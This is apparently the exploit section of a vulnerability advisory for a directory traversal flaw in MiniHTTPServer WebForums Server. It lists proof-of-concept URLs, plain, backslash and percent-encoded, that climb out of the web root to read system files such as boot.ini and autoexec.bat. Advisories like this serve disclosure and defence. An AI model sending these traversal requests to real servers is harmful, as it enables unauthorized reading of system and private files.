• info
• discussion
• exploit
• solution
• references

MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability

This vulnerability may be exploited with a web browser.

The following proofs-of-concept have been made available:


http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini

Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:

http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext